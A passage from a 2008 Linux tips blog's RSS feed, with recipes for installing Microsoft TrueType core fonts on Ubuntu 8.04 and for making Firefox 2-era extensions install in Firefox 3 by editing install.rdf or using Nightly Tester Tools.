<li>universe and multiverse repositories enabled (See <a href="http://linuxcooking.com/2007/12/31/recipe-enable-the-universe-and-multiverse-repositories-ubuntu-804/" title="recipe: enable the universe and multiverse repositories in Ubuntu">this post</a> to learn how to enable the universe and multiverse repositories)</li>
</ul>
<p><strong>Instructions:</strong></p>
<ul>
<li>Note: This &#8220;recipe&#8221; was written for Ubuntu 8.04 (Hardy Heron), but may (or may not) work for other versions or distributions.</li>
</ul>
<p>To install the Microsoft TrueType core fonts, you can execute the following steps:</p>
<p>1. Open a terminal and install the fonts:<br />
<code>sudo apt-get install msttcorefonts</code></p>
<p>2. The Microsoft TrueType core fonts are now installed. If there are other TrueType fonts that you want to install, copy the font files to the ~/.fonts directory.</p>
<p>3. After installing new fonts, you will have to log out and log in again to be able to see and use the new fonts. If you want to avoid this, you can regenerate the fonts cache:<br />
<code>sudo fc-cache -fv</code></p>
<p>Note: This &#8220;recipe&#8221; was written for Ubuntu 8.04 (Hardy Heron), but may (or may not) work for other versions or distributions.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxcooking.com/2008/01/03/recipe-install-microsoft-truetype-fonts/feed/</wfw:commentRss>
		</item>
		<item>
		<title>recipe: get add-ons to work in Firefox 3</title>
		<link>http://linuxcooking.com/2008/01/01/recipe-get-add-ons-to-work-in-firefox-3/</link>
		<comments>http://linuxcooking.com/2008/01/01/recipe-get-add-ons-to-work-in-firefox-3/#comments</comments>
		<pubDate>Tue, 01 Jan 2008 04:36:15 +0000</pubDate>
		<dc:creator>deviamp</dc:creator>
		
		<category><![CDATA[recipe]]></category>

		<category><![CDATA[internet]]></category>

		<guid isPermaLink="false">http://linuxcooking.com/?p=26</guid>
		<description><![CDATA[Firefox is a free, award-winning web browser from the Mozilla Corporation. This &#8220;recipe&#8221; will tell you how to install and use some Firefox extensions that have not been marked as compatible with Firefox 3.

Instructions:

There are two ways to install &#8220;incompatible&#8221; extensions. The first involves editing the install.rdf file that is a part of every Firefox [...]]]></description>
			<content:encoded><![CDATA[<p>Firefox is a free, award-winning web browser from the Mozilla Corporation. This &#8220;recipe&#8221; will tell you how to install and use some Firefox extensions that have not been marked as compatible with Firefox 3.</p>
<p><span id="more-26"></span></p>
<p><strong>Instructions:</strong></p>
<ul>
<li>There are two ways to install &#8220;incompatible&#8221; extensions. The first involves editing the install.rdf file that is a part of every Firefox extension. The second method uses another Firefox extension call &#8220;Nightly Tester Tools&#8221;. I have not used the Nightly Tester Tools method and cannot say for myself if it works, but I know some people have used it and achieved very positive results.</li>
</ul>
<p><strong>install.rdf</strong></p>
<p>To get add-ons to work with Firefox 3 by modifying their install.rdf files, you can execute the following steps:</p>
<p>1. Go to <a href="https://addons.mozilla.org/en-US/firefox/" title="Mozilla Firefox add-ons">addons.mozilla.com</a> and navigate to the page for your extension.</p>
<p>2. Right click the green &#8220;Install Now&#8221; button on that page. On the context menu, click &#8220;Save Link As&#8230;&#8221; and save the .xpi to your desktop*.</p>
<p>3. Extract the .xpi file on your desktop and open the extracted folder. In it you will find a file called &#8220;install.rdf&#8221;, among others.</p>
<p>4. Open &#8220;install.rdf&#8221; in a text editor, and find the line that reads &#8220;<code>em:maxVersion=</code>&#8221; (If there is more than one line that says &#8220;<code>em:maxVersion=</code>&#8220;, then find the one for Firefox or change them all.)</p>
<p>5. Once you have found the correct line, replace whatever value the maxVersion is currently set to with &#8220;3.0&#8243;, then save and close the file.</p>
<p>6. Now, create a new .jar archive that contains all of the files that were in the original .xpi and the modified install.rdf.</p>
<p>7. Rename your new .jar archive into a .xpi file (.xpi files are just .jar archives).</p>
<p>8. Open the new .xpi file in Firefox, and click to install it. Once the extension is finished installing, click the &#8220;Restart Firefox&#8221; button.</p>
<p><strong>Nightly Tester Tools extension</strong></p>
<p>To get add-ons to work with Firefox 3 by using the Nightly Tester Tools extension, you can execute the following steps:</p>
<p>1. Download and install the <a href="http://www.oxymoronical.com/web/firefox/nightly" title="Nightly Tester Tools">Nightly Tester Tools</a> extension or the <a href="http://www.graysonmixon.com/extension/" title="Nightly Tester Tools Lite">Nightly Tester Tools Lite</a> extension.</p>
<p>2. Follow any instructions you may be given, then restart Firefox.</p>
<p>* For some reason, on my computer at least, I was unable to save some of the files I tried to download this way. If you find that you cannot download a file, try to find it and download it from the <a href="http://ftp.mozilla.org/pub/mozilla.org/addons/" title="Mozilla FTP">Mozilla FTP</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxcooking.com/2008/01/01/recipe-get-add-ons-to-work-in-firefox-3/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
